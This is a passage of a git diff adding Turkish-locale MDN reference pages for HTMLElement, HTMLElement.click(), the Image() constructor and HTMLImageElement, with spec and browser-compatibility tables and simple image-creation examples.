<td>0.16{{ property_prefix("webkit") }}</td> + <td>{{ CompatGeckoMobile(50) }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + <td>{{ CompatNo }}</td> + </tr> + </tbody> +</table> +</div> + +<p>[1] Microsoft Edge bu arabirimi sadece <code>WebKitFileSystem</code> adı altında kullanır ve yalnızca sürükle-bırak senaryolarında {{domxref("DataTransferItem.webkitGetAsEntry()")}} metodunu kullanır. Dosya ve klasör seçici panellerde kullanılabilir değildir (tıpkı {{HTMLElement("input")}} elementini {{domxref("HTMLInputElement.webkitdirectory")}} özelliğiyle kullandığınız zaman gibi).</p> + +<h2 id="Ayrıca_bkz.">Ayrıca bkz.</h2> + +<ul> + <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API">File and Directory Entries API</a></li> + <li><a href="/en-US/docs/Web/API/File_and_Directory_Entries_API/Introduction">File System API'ye Giriş</a></li> + <li>{{domxref("FileSystemEntry")}}, {{domxref("FileSystemFileEntry")}}, ve {{domxref("FileSystemDirectoryEntry")}}</li> + <li>MSDN Makalesi: <a href="https://msdn.microsoft.com/library/mt732564">WebKitFileSystem object</a></li> +</ul> diff --git a/files/tr/web/api/htmlelement/click/index.html b/files/tr/web/api/htmlelement/click/index.html new file mode 100644 index 0000000000..5c8b295944 --- /dev/null +++ b/files/tr/web/api/htmlelement/click/index.html @@ -0,0 +1,45 @@ +--- +title: HTMLElement.click() +slug: Web/API/HTMLElement/click +translation_of: Web/API/HTMLElement/click +--- +<div> +<div>{{ APIRef("HTML DOM") }}</div> +</div> + +<p> </p> + +<p><code><strong>HTMLElement.click()</strong></code> metodu element üzerinde tıklama olayını simule eder.</p> + +<p><code>click()</code> geçerli elamanlar üzerinde kullanıldığında ({{HTMLElement("input")}} gibi), o elementin tıklama olayını (click event) tetikler. Bu olay döküman ağacındaki (veya olay zinciri) daha yüksek elemanlara ulaşır ve onların tıklama olaylarını tetikler.</p> + +<p> </p> + +<h2 id="Syntax">Syntax</h2> + +<pre class="syntaxbox"><em>element</em>.click()</pre> + +<h2 id="Specification">Specification</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-2651361')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.HTMLElement.click")}}</p> diff --git a/files/tr/web/api/htmlelement/index.html b/files/tr/web/api/htmlelement/index.html new file mode 100644 index 0000000000..9239cd8f6f --- /dev/null +++ b/files/tr/web/api/htmlelement/index.html @@ -0,0 +1,183 @@ +--- +title: HTMLElement +slug: Web/API/HTMLElement +tags: + - API + - HTML DOM + - Interface + - NeedsNewLayout + - NeedsTranslation + - Reference + - TopicStub +translation_of: Web/API/HTMLElement +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p>The <strong><code>HTMLElement</code></strong> interface represents any <a href="/en-US/docs/Web/HTML" title="/en-US/docs/Web/HTML">HTML</a> element. Some elements directly implement this interface, while others implement it via an interface that inherits it.</p> + +<p>{{InheritanceDiagram}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>Inherits properties from its parent, {{domxref("Element")}}, and implements those from {{domxref("GlobalEventHandlers")}} and {{domxref("TouchEventHandlers")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLElement.accessKey")}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the access key assigned to the element.</dd> + <dt>{{domxref("HTMLElement.accessKeyLabel")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMString")}} containing the element's assigned access key.</dd> + <dt>{{domxref("HTMLElement.contentEditable")}}</dt> + <dd>Is a {{domxref("DOMString")}}, where a value of <code>"true"</code> means the element is editable and a value of <code>"false"</code> means it isn't.</dd> + <dt>{{domxref("HTMLElement.isContentEditable")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("Boolean")}} that indicates whether or not the content of the element can be edited.</dd> + <dt>{{domxref("HTMLElement.contextMenu")}} {{deprecated_inline}}</dt> + <dd>Is a {{domxref("HTMLMenuElement")}} representing the contextual menu associated with the element. It may be <code>null</code>.</dd> + <dt>{{domxref("HTMLElement.dataset")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMStringMap")}} with which script can read and write the element's <a href="/en-US/docs/Web/Guide/HTML/Using_data_attributes">custom data attributes</a> (<code>data-*</code>) .</dd> + <dt>{{domxref("HTMLElement.dir")}}</dt> + <dd>Is a {{domxref("DOMString")}}, reflecting the <code>dir</code> global attribute, representing the directionality of the element. Possible values are <code>"ltr"</code>, <code>"rtl"</code>, and <code>"auto"</code>.</dd> + <dt>{{domxref("HTMLElement.draggable")}}</dt> + <dd>Is a {{jsxref("Boolean")}} indicating if the element can be dragged.</dd> + <dt>{{domxref("HTMLElement.dropzone")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}} reflecting the <code>dropzone</code> global attribute and describing the behavior of the element regarding a drop operation.</dd> + <dt>{{domxref("HTMLElement.hidden")}}</dt> + <dd>Is a {{jsxref("Boolean")}} indicating if the element is hidden or not.</dd> + <dt>{{domxref("HTMLElement.inert")}}</dt> + <dd>Is a {{jsxref("Boolean")}} indicating whether the user agent must act as though the given node is absent for the purposes of user interaction events, in-page text searches ("find in page"), and text selection.</dd> + <dt>{{domxref("HTMLElement.innerText")}}</dt> + <dd>Represents the "rendered" text content of a node and its descendants. As a getter, it approximates the text the user would get if they highlighted the contents of the element with the cursor and then copied it to the clipboard.</dd> + <dt>{{domxref("HTMLElement.itemScope")}} {{experimental_inline}}</dt> + <dd>Is a {{jsxref("Boolean")}} representing the item scope.</dd> + <dt>{{domxref("HTMLElement.itemType")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> + <dt>{{domxref("HTMLElement.itemId")}} {{experimental_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the item ID.</dd> + <dt>{{domxref("HTMLElement.itemRef")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> + <dt>{{domxref("HTMLElement.itemProp")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMSettableTokenList")}}…</dd> + <dt>{{domxref("HTMLElement.itemValue")}} {{experimental_inline}}</dt> + <dd>Returns a {{jsxref("Object")}} representing the item value.</dd> + <dt>{{domxref("HTMLElement.lang")}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the language of an element's attributes, text, and element contents.</dd> + <dt>{{domxref("HTMLElement.noModule")}}</dt> + <dd>Is a {{jsxref("Boolean")}} indicating wether an import script can be executed in user agents that support module scripts.</dd> + <dt>{{domxref("HTMLElement.nonce")}}</dt> + <dd>Returns the cryptographic number used once that is used by Content Security Policy to determine whether a given fetch will be allowed to proceed.</dd> + <dt>{{domxref("HTMLElement.offsetHeight")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code> containing the height of an element, relative to the layout.</dd> + <dt>{{domxref("HTMLElement.offsetLeft")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code>, the distance from this element's left border to its <code>offsetParent</code>'s left border.</dd> + <dt>{{domxref("HTMLElement.offsetParent")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("Element")}} that is the element from which all offset calculations are currently computed.</dd> + <dt>{{domxref("HTMLElement.offsetTop")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code>, the distance from this element's top border to its <code>offsetParent</code>'s top border.</dd> + <dt>{{domxref("HTMLElement.offsetWidth")}}{{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>double</code> containing the width of an element, relative to the layout.</dd> + <dt>{{domxref("HTMLElement.properties")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("HTMLPropertiesCollection")}}…</dd> + <dt>{{domxref("HTMLElement.spellcheck")}}{{ gecko_minversion_inline("1.9")}}</dt> + <dd>Is a {{jsxref("Boolean")}} that controls <a href="/en-US/docs/HTML/Controlling_spell_checking_in_HTML_forms" title="en/Controlling_spell_checking_in_HTML_forms">spell-checking</a>. It is present on all HTML elements, though it doesn't have an effect on all of them.</dd> + <dt>{{domxref("HTMLElement.style")}}</dt> + <dd>Is a {{domxref("CSSStyleDeclaration")}}, an object representing the declarations of an element's style attributes.</dd> + <dt>{{domxref("HTMLElement.tabIndex")}}</dt> + <dd>Is a <code>long</code> representing the position of the element in the tabbing order.</dd> + <dt>{{domxref("HTMLElement.title")}}</dt> + <dd>Is a {{domxref("DOMString")}} containing the text that appears in a popup box when mouse is over the element.</dd> + <dt>{{domxref("HTMLElement.translate")}} {{experimental_inline}}</dt> + <dd>Is a {{jsxref("Boolean")}} representing the translation.</dd> +</dl> + +<h3 id="Event_handlers">Event handlers</h3> + +<p>Most event handler properties, of the form <code>onXYZ</code>, are defined on the {{domxref("GlobalEventHandlers")}} or {{domxref("TouchEventHandlers")}} interfaces and implemented by <code>HTMLElement</code>. In addition, the following handlers are specific to <code>HTMLElement</code>.</p> + +<dl> + <dt>{{ domxref("HTMLElement.oncopy") }} {{ non-standard_inline() }}</dt> + <dd>Returns the event handling code for the <code>copy</code> event ({{bug("280959")}}).</dd> + <dt>{{ domxref("HTMLElement.oncut") }} {{ non-standard_inline() }}</dt> + <dd>Returns the event handling code for the <code>cut</code> event ({{bug("280959")}}).</dd> + <dt>{{ domxref("HTMLElement.onpaste") }} {{ non-standard_inline() }}</dt> + <dd>Returns the event handling code for the <code>paste</code> event ({{bug("280959")}}).</dd> + <dt>{{domxref("TouchEventHandlers.ontouchstart")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchstart")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchend")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchend")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchmove")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchmove")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchenter")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchenter")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchleave")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchleave")}} event.</dd> + <dt>{{domxref("TouchEventHandlers.ontouchcancel")}} {{non-standard_inline}}</dt> + <dd>Returns the event handling code for the {{event("touchcancel")}} event.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>Inherits methods from its parent, {{domxref("Element")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLElement.blur()")}}</dt> + <dd>Removes keyboard focus from the currently focused element.</dd> + <dt>{{domxref("HTMLElement.click()")}}</dt> + <dd>Sends a mouse click event to the element.</dd> + <dt>{{domxref("HTMLElement.focus()")}}</dt> + <dd>Makes the element the current keyboard focus.</dd> + <dt>{{domxref("HTMLElement.forceSpellCheck()")}} {{experimental_inline}}</dt> + <dd>Runs the spell checker on the element's contents.</dd> +</dl> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <thead> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + </thead> + <tbody> + <tr> + <td>{{SpecName('CSSOM View', '#extensions-to-the-htmlelement-interface', 'HTMLElement')}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Added the following properties: <code>offsetParent</code>, <code>offsetTop</code>, <code>offsetLeft</code>, <code>offsetWidth</code>, and <code>offsetHeight</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', 'elements.html#htmlelement', 'HTMLElement')}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>Added the following properties: <code>translate</code>, <code>itemScope</code>, <code>itemType</code>, <code>itemId</code>, <code>itemRef</code>, <code>itemProp</code>, <code>properties</code>, and <code>itemValue</code>.<br> + Added the following method: <code>forceSpellcheck()</code>.<br> + Moved the <code>onXYZ</code> attributes to the {{domxref("GlobalEventHandlers")}} interface and added an inheritance from it.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', 'dom.html#htmlelement', 'HTMLElement')}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>Added the following properties: <code>dataset</code>, <code>hidden</code>, <code>tabindex</code>, <code>accessKey</code>, <code>accessKeyLabel</code>, <code>draggable</code>, <code>dropzone</code>, <code>contentEditable</code>, <code>isContentEditable</code>, <code>contextMenu</code>, <code>spellcheck</code>, <code>commandType</code>, <code>commandLabel</code>, <code>commandIcon</code>, <code>commandHidden</code>, <code>commandDisabled</code>, <code>commandChecked</code>, <code>style</code>, and all the <code>onXYZ</code> properties.<br> + Moved the <code>id</code> and <code>className</code> properties to the {{domxref("Element")}} interface.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-011100101', 'HTMLElement')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>No change from {{SpecName('DOM2 HTML')}}</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#ID-011100101', 'HTMLElement')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + + + +<p>{{Compat("api.HTMLElement")}}</p> + +<h2 id="See_also">See also</h2> + +<ul> + <li>{{domxref("Element")}}</li> +</ul> diff --git a/files/tr/web/api/htmlimageelement/image/index.html b/files/tr/web/api/htmlimageelement/image/index.html new file mode 100644 index 0000000000..9bbad76f33 --- /dev/null +++ b/files/tr/web/api/htmlimageelement/image/index.html @@ -0,0 +1,119 @@ +--- +title: Image() +slug: Web/API/HTMLImageElement/Image +tags: + - API + - Constructor + - DOM + - HTML DOM + - HTMLImageElement + - HTMLImageElement Kullanımı + - Reference +translation_of: Web/API/HTMLImageElement/Image +--- +<div>{{ APIRef("HTML DOM") }}</div> + +<p id="Image_Element_constructor"><strong><code>Image()</code></strong> constructor'ı yeni bir {{domxref("HTMLImageElement")}} örneği oluşturur.</p> + +<p>İşlevsellik olarak {{domxref("Document.createElement()", "document.createElement('img')")}} ile aynıdır.</p> + +<h2 id="Sözdizim">Sözdizim</h2> + +<pre class="syntaxbox">Image(genişlik, yükseklik)</pre> + +<h3 id="Parametreler">Parametreler</h3> + +<dl> + <dt>genişlik</dt> + <dd>Resmin genişliği (yani {{htmlattrxref("width", "img")}} özelliğinin değeri).</dd> + <dt>yükseklik</dt> + <dd>Resmin yüksekliği (yani {{htmlattrxref("height", "img")}} özelliğinin değeri).</dd> +</dl> + +<h2 id="Örnekler"><span style="line-height: 1.572;">Örnekler</span></h2> + +<pre class="brush: js">var myImage = new Image(100, 200); +myImage.src = 'picture.jpg'; +document.body.appendChild(myImage);</pre> + +<div>Yukarıdaki örnek {{htmlelement("body")}} etiketi içerisine aşağıdaki HTML elementini tanımlamakla aynı olacaktır.</div> + +<pre class="brush: html"><img width="100" height="200" src="picture.jpg"> +</pre> + +<div class="note"> +<p><strong>Not</strong>: Constructor'da belirtilen değerlere bakılmaksızın tüm bitmap yüklenir. Eğer constructor'da herhangi bir genişlik ya da yükseklik değeri tanımlanmamışsa {{domxref("HTMLImageElement.width")}} ve {{domxref("HTMLImageElement.height")}} değerleri üzerinden varsayılan atamalar yapılacaktır. CSS piksellerindeki resmin orjinal yüksekliği ve genişliği {{domxref("HTMLImageElement.naturalWidth")}} ve {{domxref("HTMLImageElement.naturalHeight")}} özellikleri ile yansıtılır. Eğer constructor'da herhangi bir değer tanımlı değilse bu özelliklerin her ikisinin de çiftleri aynı değerlere sahip olacaktır.</p> +</div> + +<h2 id="Tanımlamalar">Tanımlamalar</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Tanımlama</th> + <th scope="col">Durum</th> + <th scope="col">Yorum</th> + </tr> + <tr> + <td>{{SpecName("HTML WHATWG", "embedded-content.html#dom-image", "Image()")}}</td> + <td>{{spec2("HTML WHATWG")}}</td> + <td> </td> + </tr> + </tbody> +</table> + +<h2 id="Tarayıcı_Uyumluluğu">Tarayıcı Uyumluluğu</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özellik</th> + <th>Chrome</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + </tr> + </tbody> +</table> +</div> + +<div id="compat-mobile"> +<table class="compat-table"> + <tbody> + <tr> + <th>Özelik</th> + <th>Android</th> + <th>Android Webview</th> + <th>Firefox Mobile (Gecko)</th> + <th>IE Phone</th> + <th>Opera Mobile</th> + <th>Safari Mobile</th> + <th>Chrome for Android</th> + </tr> + <tr> + <td>Temel destek</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + <td>{{compatversionunknown}}</td> + </tr> + </tbody> +</table> +</div> + +<p> </p> diff --git a/files/tr/web/api/htmlimageelement/index.html b/files/tr/web/api/htmlimageelement/index.html new file mode 100644 index 0000000000..65a25d2e38 --- /dev/null +++ b/files/tr/web/api/htmlimageelement/index.html @@ -0,0 +1,417 @@ +--- +title: HTMLImageElement +slug: Web/API/HTMLImageElement +tags: + - API + - HTML DOM + - HTMLImageElement + - Interface + - NeedsTranslation + - Reference + - TopicStub + - img +translation_of: Web/API/HTMLImageElement +--- +<div>{{APIRef("HTML DOM")}}</div> + +<p>The <strong><code>HTMLImageElement</code></strong> interface provides special properties and methods for manipulating the layout and presentation of {{HTMLElement("img")}} elements.</p> + +<p>{{InheritanceDiagram(600,120)}}</p> + +<h2 id="Properties">Properties</h2> + +<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLImageElement.align")}} {{obsolete_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} indicating the alignment of the image with respect to the surrounding context. The possible values are <code>"left"</code>, <code>"right"</code>, <code>"justify"</code>, and <code>"center"</code>.</dd> + <dt>{{domxref("HTMLImageElement.alt")}}</dt> + <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("alt", "img")}} HTML attribute, thus indicating fallback context for the image.</dd> + <dt>{{domxref("HTMLImageElement.border")}} {{obsolete_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} that is responsible for the width of the border surrounding the image. This is now deprecated and the CSS {{cssxref("border")}} property should be used instead.</dd> + <dt>{{domxref("HTMLImageElement.complete")}} {{readonlyInline}}</dt> + <dd>Returns a {{domxref("Boolean")}} that is <code>true</code> if the browser has finished fetching the image, whether successful or not. It also shows true, if the image has no {{domxref("HTMLImageElement.src", "src")}} value.</dd> + <dt>{{domxref("HTMLImageElement.crossOrigin")}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the CORS setting for this image element. See <a href="/en-US/docs/HTML/CORS_settings_attributes">CORS settings attributes</a> for further details.</dd> + <dt>{{domxref("HTMLImageElement.currentSrc")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a {{domxref("DOMString")}} representing the URL to the currently displayed image (which may change, for example in response to media queries).</dd> + <dt>{{domxref("HTMLImageElement.height")}}</dt> + <dd>Is a <code>unsigned long</code> that reflects the {{htmlattrxref("height", "img")}} HTML attribute, indicating the rendered height of the image in CSS pixels.</dd> + <dt>{{domxref("HTMLImageElement.hspace")}} {{obsolete_inline}}</dt> + <dd>Is a <code>long</code> representing the space on either side of the image.</dd> + <dt>{{domxref("HTMLImageElement.isMap")}}</dt> + <dd>Is a {{domxref("Boolean")}} that reflects the {{htmlattrxref("ismap", "img")}} HTML attribute, indicating that the image is part of a server-side image map.</dd> + <dt>{{domxref("HTMLImageElement.longDesc")}} {{obsolete_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the URI of a long description of the image.</dd> + <dt>{{domxref("HTMLImageElement.lowSrc")}} {{obsolete_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} that refers to a low-quality (but faster to load) copy of the image.</dd> + <dt>{{domxref("HTMLImageElement.name")}} {{obsolete_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} representing the name of the element.</dd> + <dt>{{domxref("HTMLImageElement.naturalHeight")}} {{readonlyInline}}</dt> + <dd>Returns a <code>unsigned long</code> representing the intrinsic height of the image in CSS pixels, if it is available; else, it shows <code>0</code>.</dd> + <dt>{{domxref("HTMLImageElement.naturalWidth")}} {{readonlyInline}}</dt> + <dd>Returns a <code>unsigned long</code> representing the intrinsic width of the image in CSS pixels, if it is available; otherwise, it will show <code>0</code>.</dd> + <dt>{{domxref("HTMLImageElement.referrerPolicy")}} {{experimental_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("referrerpolicy", "img")}} HTML attribute indicating which referrer to use in order to fetch the image.</dd> + <dt>{{domxref("HTMLImageElement.src")}}</dt> + <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("src", "img")}} HTML attribute, containing the full URL of the image including base URI.</dd> + <dt>{{domxref("HTMLImageElement.sizes")}} {{experimental_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("sizes", "img")}} HTML attribute.</dd> + <dt>{{domxref("HTMLImageElement.srcset")}} {{experimental_inline}}</dt> + <dd>Is a {{domxref("DOMString")}} reflecting the {{htmlattrxref("srcset", "img")}} HTML attribute, containing a list of candidate images, separated by a comma (<code>',', U+002C COMMA</code>). A candidate image is a URL followed by a <code>'w'</code> with the width of the images, or an <code>'x'</code> followed by the pixel density.</dd> + <dt>{{domxref("HTMLImageElement.useMap")}}</dt> + <dd>Is a {{domxref("DOMString")}} that reflects the {{htmlattrxref("usemap", "img")}} HTML attribute, containing a partial URL of a map element.</dd> + <dt>{{domxref("HTMLImageElement.vspace")}} {{obsolete_inline}}</dt> + <dd>Is a <code>long</code> representing the space above and below the image.</dd> + <dt>{{domxref("HTMLImageElement.width")}}</dt> + <dd>Is a <code>unsigned long</code> that reflects the {{htmlattrxref("width", "img")}} HTML attribute, indicating the rendered width of the image in CSS pixels.</dd> + <dt>{{domxref("HTMLImageElement.x")}} {{readonlyInline}}{{experimental_inline}}</dt> + <dd>Returns a <code>long</code> representing the horizontal offset from the nearest layer. This property mimics an old Netscape 4 behavior.</dd> + <dt>{{domxref("HTMLImageElement.y")}} {{readonlyInline}} {{experimental_inline}}</dt> + <dd>Returns a <code>long</code> representing the vertical offset from the nearest layer. This property is also similar to behavior of an old Netscape 4.</dd> +</dl> + +<h2 id="Methods">Methods</h2> + +<p><em>Inherits properties from its parent, {{domxref("HTMLElement")}}.</em></p> + +<dl> + <dt>{{domxref("HTMLImageElement.Image()", "Image()")}}</dt> + <dd>The <code>Image()</code> constructor, taking two optional <code>unsigned</code> <code>long</code>, which are the width and the height of the resource, creates an instance of <code>HTMLImageElement</code> , not inserted in a DOM tree.</dd> +</dl> + +<h2 id="Errors">Errors</h2> + +<p>If an error occurs while trying to load or render the image, and an {{htmlattrxref("onerror")}} event handler has been configured to handle the {{event("error")}} event, that event handler will get called. This can happen in a number of situations, including:</p> + +<ul> + <li>The {{htmlattrxref("src", "img")}} attribute is empty or <code>null</code>.</li> + <li>The specified <code>src</code> URL is the same as the URL of the page the user is currently on.</li> + <li>The specified image is corrupted in some way that prevents it from being loaded.</li> + <li>The specified image's metadata is corrupted in such a way that it's impossible to retrieve its dimensions, and no dimensions were specified in the <code><img></code> element's attributes.</li> + <li>The specified image is in a format not supported by the {{Glossary("user agent")}}.</li> +</ul> + +<h2 id="Example">Example</h2> + +<pre class="brush: js">var img1 = new Image(); // HTML5 Constructor +img1.src = 'image1.png'; +img1.alt = 'alt'; +document.body.appendChild(img1); + +var img2 = document.createElement('img'); // use DOM <a href="http://mxr.mozilla.org/mozilla-central/source/dom/interfaces/html/nsIDOMHTMLImageElement.idl">HTMLImageElement</a> +img2.src = 'image2.jpg'; +img2.alt = 'alt text'; +document.body.appendChild(img2); + +// using first image in the document +alert(document.images[0].src); +</pre> + +<h2 id="Specifications">Specifications</h2> + +<table class="standard-table"> + <tbody> + <tr> + <th scope="col">Specification</th> + <th scope="col">Status</th> + <th scope="col">Comment</th> + </tr> + <tr> + <td>{{SpecName('Referrer Policy', '#referrer-policy-delivery-referrer-attribute', 'referrer attribute')}}</td> + <td>{{Spec2('Referrer Policy')}}</td> + <td>Added the <code>referrerPolicy</code> property.</td> + </tr> + <tr> + <td>{{SpecName("CSSOM View", "#excensions-to-the-htmlimageelement-interface", "Extensions to HTMLImageElement")}}</td> + <td>{{Spec2('CSSOM View')}}</td> + <td>Added the <code>x</code> and <code>y</code> properties.</td> + </tr> + <tr> + <td>{{SpecName('HTML WHATWG', "embedded-content.html#the-img-element", "HTMLImageElement")}}</td> + <td>{{Spec2('HTML WHATWG')}}</td> + <td>The following properties have been added: <code>srcset</code>, <code>currentSrc</code> and <code>sizes</code>.</td> + </tr> + <tr> + <td>{{SpecName('HTML5 W3C', "embedded-content-0.html#the-img-element", "HTMLImageElement")}}</td> + <td>{{Spec2('HTML5 W3C')}}</td> + <td>A constructor (with 2 optional parameters) has been added.<br> + The following properties are now obsolete: <code>name</code>, <code>border</code>, <code>align</code>, <code>hspace</code>, <code>vspace</code>, and <code>longdesc</code>.<br> + The following properties are now <code>unsigned long</code>, instead of <code>long</code>: <code>height</code>, and <code>width</code>.<br> + The following properties have been added: <code>crossorigin</code>, <code>naturalWidth</code>, <code>naturalHeight</code>, and <code>complete</code>.</td> + </tr> + <tr> + <td>{{SpecName('DOM2 HTML', 'html.html#ID-17701901', 'HTMLImgElement')}}</td> + <td>{{Spec2('DOM2 HTML')}}</td> + <td>The <code>lowSrc</code> property has been removed.<br> + The following properties are now <code>long</code>, instead of <code>DOMString</code>: <code>height</code>, <code>width</code>, <code>hspace</code>, and <code>vspace</code>.</td> + </tr> + <tr> + <td>{{SpecName('DOM1', 'level-one-html.html#ID-17701901', 'HTMLImgElement')}}</td> + <td>{{Spec2('DOM1')}}</td> + <td>Initial definition.</td> + </tr> + </tbody> +</table> + +<h2 id="Browser_compatibility">Browser compatibility</h2> + +<div>{{CompatibilityTable}}</div> + +<div id="compat-desktop"> +<table class="compat-table"> + <tbody> + <tr> + <th>Feature</th> + <th>Chrome</th> + <th>Edge</th> + <th>Firefox (Gecko)</th> + <th>Internet Explorer</th> + <th>Opera</th> + <th>Safari (WebKit)</th> + </tr> + <tr> + <td>Basic support</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(1.0)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>lowSrc</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>naturalWidth</code>, <code>naturalHeight</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>9</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>crossorigin</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>9</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>complete</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>5<sup>[4]</sup></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + </tr> + <tr> + <td><code>srcset</code> {{experimental_inline}}</td> + <td>{{CompatChrome(34)}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td> + <td>{{CompatNo}}</td> + <td>21</td> + <td>{{CompatSafari(7.1)}}</td> + </tr> + <tr> + <td><code>currentSrc </code>{{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(32)}}<sup>[2]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>sizes</code> {{experimental_inline}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatGeckoDesktop(33)}}<sup>[3]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatNo}}</td> + </tr> + <tr> + <td><code>x</code> and <code>y</code></td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>14<sup>[1]</sup></td> + <td>{{CompatNo}}</td> + <td>{{CompatVersionUnknown}}</td> + <td>{{CompatVersionUnknown}}</td> + 